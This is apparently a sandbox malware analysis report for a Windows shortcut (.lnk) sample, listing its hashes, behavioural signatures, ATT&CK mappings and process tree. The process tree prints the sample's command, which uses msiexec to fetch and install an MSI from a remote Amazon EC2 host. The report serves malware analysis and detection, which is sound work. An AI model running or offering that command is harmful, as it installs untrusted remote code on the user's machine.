bc66b12c8b9dce2d58fe3e899b97f51ac009f26c21ea1b88fcf117214b1f13f2

Analysis

max time kernel
120s
max time network
138s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
11/04/2024, 14:50

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General

Target

edadc5bad5c854dfe6b0a63b55309a28_JaffaCakes118.lnk
Size

1KB
MD5

edadc5bad5c854dfe6b0a63b55309a28
SHA1

dc1f193168a8022ada8b9c5771a19586f94bab97
SHA256

bc66b12c8b9dce2d58fe3e899b97f51ac009f26c21ea1b88fcf117214b1f13f2
SHA512

8b00b8566fb4960c9719dbdf8df3a0126f50db52e8ab092b2c53a4fd4bad91922725ac20c4777a376e1a7de7246abacb7c5d84451dabf731d697e3e939481ad9

Score

7^/10

Malware Config

Signatures

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2452	msiexec.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2452	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2452	msiexec.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2452	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2452	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2452	msiexec.exe
2452	msiexec.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 2452	2572	cmd.exe	29
PID 2572 wrote to memory of 2452	2572	cmd.exe	29
PID 2572 wrote to memory of 2452	2572	cmd.exe	29
PID 2572 wrote to memory of 2452	2572	cmd.exe	29
PID 2572 wrote to memory of 2452	2572	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\edadc5bad5c854dfe6b0a63b55309a28_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "http://ec2-18-231-132-179.sa-east-1.compute.amazonaws.com/Installer.msi"
  2⤵
  - Use of msiexec (install) with remote resource
  - Blocklisted process makes network request
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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